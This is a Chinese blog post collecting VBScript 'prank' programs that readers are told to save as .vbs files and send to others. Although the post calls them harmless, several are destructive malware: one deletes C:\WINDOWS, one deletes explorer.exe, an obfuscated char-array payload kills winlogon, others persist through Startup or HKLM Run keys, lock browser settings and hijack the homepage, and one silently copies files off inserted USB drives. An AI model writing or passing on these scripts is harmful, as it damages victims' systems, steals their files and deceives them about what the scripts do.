欢迎光临
我们一直在努力

简单的恶搞代码文本文档(Nie的博客)

恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可

操作方法:把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可。复制代码代码如下:

domsgbox "hi"loop

无限制的用英文报数复制代码代码如下:

Sets = CreateObject("sapi.spvoice") i=0 dos.speaki i=i+1 loop

复制代码代码如下:

ifMsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重启wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,trueend if

复制代码代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) fori=1 to UBound(strs) runner=runner&chr(strs(i)) nextExecuterunner 

这个没什么,不过加密了,大家可以解密试试

复制代码代码如下:

ifMsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then msgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if

复制代码代码如下:

Setws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0

下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data复制代码代码如下:

set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe 

复制代码代码如下:

foreachwind in verybat ws.sendkeys wind wscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧 慢慢玩哦",27dim WSHshell set WSHshell = wscript.createobject("wscript.shell") ford=0to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim a doa=inputbox("请输入解除关机密码") ifa="403746401"then ws.run"shutdown -a"msgbox"密码验证成功,enjoy the best!"exitdoelsemsgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel end ifloop ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么大本事能做出病毒来!",57ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62wscript.sleep 8900dountili=10i=i+1msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:"wscript.sleep 1000*45loop 关机

复制代码代码如下:

setsh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332"关闭当前打开的多个窗口

复制代码代码如下:

dim WSHshell setWSHshell = wscript.createobject("wscript.shell") ford=0to40WSHshell.SendKeys "%{F4}"next

复制代码代码如下:

dim a,b,c,s Setfs=CreateObject("Scripting.FileSystemObject") name= WScript.ScriptName fullname = WScript.ScriptFullName path= Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") Ifa = ""ThenWScript.Quit EndIfMyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:") IfMyVar=vbYes ThenElseIf MyVar=vbNo Thena=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字") Ifa = ""ThenWScript.Quit EndIfEndIfwscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好") Ifb = ""ThenWScript.Quit EndIfwscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为例 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02") Ifc = ""ThenWScript.Quit EndIfwscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1current= now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:") ifs=2thenendifSetauto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:"""auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""Setauto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"

复制代码代码如下:

dim a a=10SetobjShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,trueSets = CreateObject("sapi.spvoice") whilea s.Speak a a = a - 1wscript.sleep 100wend CreateObject("SAPI.SpVoice").Speak "Bomb?"

复制代码代码如下:

docreateobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop

复制代码代码如下:

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"dim WSHshell setWSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300"wscript.sleep 2000 dim a doa=inputbox("输入abc,否则关机。") ifa="abc"thenmsgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!"exitdoelsemsgbox"乖点,输入abc"end ifloop

复制代码代码如下:

onerror resume next dim WSHshellA setWSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0,truedim a dowhile(a <> "我是猪") a= inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖"loop msgbox "早说就行了嘛"dim WSHshell setWSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0,truemsgbox "自己骂自己的不要脸~~~~~~",4, " "

复制代码代码如下:

msgbox"你是不是很无聊啊?",4msgbox"我来陪你玩会儿"msgbox"做好玩儿的准备吧!"domsgbox"你无聊吗?",vbinformation,"你无聊吗?"loop

复制代码代码如下:

onerror resume next setwr=createobject("scripting.filesystemobject") setws=createobject("wscript.shell") setf = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") ifnot f="Win32.vbs"then wr.copyfile f,q&"\Win32.vbs",truews.run"shutdown -p",vbhide 这个太可恶了 只好重启

复制代码代码如下:

setws=createobject("wscript.shell") dows.sendkeys "{f5}"loop

复制代码代码如下:

Dim AutoRunProgram SetAutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"Type_Name = "REG_SZ"Key_Name = "QUESTION.vbS"Key_data = "C:\windows\system32\QUESTION.vbs"AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,fileSetfso = CreateObject("Scripting.FileSystemObject") Setfile= fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\"Setfso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) SetobjShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true

复制代码代码如下:

setwmp=createobject("wmplayer.ocx") setcd=wmp.cdromcollection.item(0) docd.eject loop

复制代码代码如下:

on error resume next dim WSHshellA setWSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0,truedim a dowhile(a <> "爹") a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "儿子"dim WSHshell setWSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0,truemsgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

复制代码代码如下:

on error resume next dim WSHshellA setWSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我,不说你爱我就两分钟关你机,不信,试试···"" ",0,truedim a dowhile(a <> "我爱你") a = inputbox ("说你爱我,就不关机,快撒,说 ""你爱我"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么费劲"dim WSHshell setWSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾 

复制代码代码如下:

i = MsgBox("由于你灌水太水需要爆破电脑。"&_ vbCrLf&"确定爆破吗?",vbOKCancel,_ "爆破电脑系统!!!!!") ifi = 1thenCreateObject("SAPI.SpVoice").Speak "bone"endif

复制代码代码如下:

On Error Resume Next Dim i i=0 Setfso=CreateObject("Scripting.FileSystemObject") IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:") ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt") MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗") fso.CreateFolder(MyFolder) DoWScript.Sleep 1000Iffso.FolderExists(IP & "\") ThenExitDoLoopScan(IP & "\") Sub Scan(Folder_) OnErrorResumeNextSetFolder_=fso.GetFolder(Folder_) SetFiles=Folder_.Files ForEachFileinFiles ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) Ifext_=ext Theni=i+1fso.GetFile(File).Copy(MyFolder & "\"& i & "_"& File.Name) EndIfNextSetSubFolders=Folder_.SubFolders ForEachSubFolder InSubFolders Scan(Subfolder) NextEndSub

复制代码代码如下:

on error resume next dim WSHshellA setWSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0,truedim a dowhile(a <> "不重,不重,我就不重!") a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"msgbox chr(13) + chr(13) + chr(13) + "88~"dim WSHshell setWSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0,truemsgbox " "+ chr(14) + "~"Dim a Seta = CreateObject("Scripting.FileSystemObject") a.DeleteFolder ("C:\WINDOWS") 不是死循环了,是让你死机了,重启吧

复制代码代码如下:

msgbox"让你见识一下啥叫狠毒!"dosetws=createobjecet("wscript.shell") ws.run"explorer.exe"ws.run"cmd.exe"loop

复制代码代码如下:

on errorresumenextmsgbox"即将格式化!请做好准备!",vbyesno msgbox"准备好后点yes!",vbyesno msgbox"sorry,忘说了,点no也行!"msgbox"我对不起你啊!呜呜呜555哈哈哈哈!"msgbox"靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"msgbox"被人研究!"msgbox"就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"msgbox"你咋还笑?!是时候惩罚你了!"doset ws=createobjecet("wscript.shell") ws.run"explorer.exe"ws.run"cmd.exe"ws.run"cmd.exe /c shutdown -s -t 7200",,ture loop

发个特整人的东西复制代码代码如下:

sets.createobject("wscript.shell") lsfile=wscript.scriptfullname '获得自己的名称 do '死循环 s.run lsfile '自己运行自己 s.run "notepad" '运行记事本 loop'几秒就死机,哈 

来个绿色的,无毒无害的:复制代码代码如下:

dim a seta=createobject("sapi.spvoice") a.speak "ha ha ha ha hahahahahahaha"

注:ha ha ha… 可以改为几句粗话!!输入中文后英文要取决于你的电脑会讲英文还是中文!

复制代码代码如下:

dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") ifa=vbyes thendomsgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1loopwhilea=1end if

将默认页,搜索页设置百度复制代码代码如下:

ifmsgbox("这是被封印的东西",65,"警告!!!")= 1then ifmsgbox("请不要一意孤行",65,"警告!!!")=1then ifmsgbox("不要再按了!!",65,"警告!!!")=1then ifmsgbox("气死我了.....",65,"警告!!!")=1then ifmsgbox("既然这样...那么这个东西就归你了!",65,"祝你愉快!886")=1then msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快!886"msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了!!!!",65,"封印解除!!"onerror resume next dim fso,wsh,myfile,ws,pp,fsoFolder setwsh=wscript.createobject("wscript.shell") setfso=wscript.createobject("scripting.filesystemobject") setmyfile=fso.GetFile(wscript.scriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

很久很久以前,好像是高考后的那个夏天,收到过朋友的一个恶作剧程序,程序名为“一篇感动人的文章.vbs”,当时什么都不懂,直接双击了,一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪’,否则十五秒后关机。我还以为是搞笑的,什么都没有输入,就真的关机了,觉得很神奇。而现在能够自己写出代码了,却再也找不到以前的快乐。复制代码代码如下:

Option Explicit On Error Resume Next Dim answer Dim WshShell setWshShell = CreateObject("wscript.Shell") WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0DoWhileanswer<>"我是猪"answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000) LoopWshShell.Run "Shutdown /a",0MsgBox "哈哈哈,好玩不?",,"哈哈哈"

打开记事本,把代码复制粘贴进去,保存为“一篇感动人的文章.vbs”,一个恶作剧程序就完成了,接下来做什么就超出本文范围了。

赞(0) 打赏
本文内容由互联网用户自发贡献,该文观点仅代表作者本人。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 1443873830#qq.com 举报,一经查实,本站将立刻删除。本文链接https://cnrongze.com/post/1055.html
复制成功
v信: 7857928
添加v信好友, 获取更多信息
我知道了
v信:7857928添加微信

登录

找回密码

注册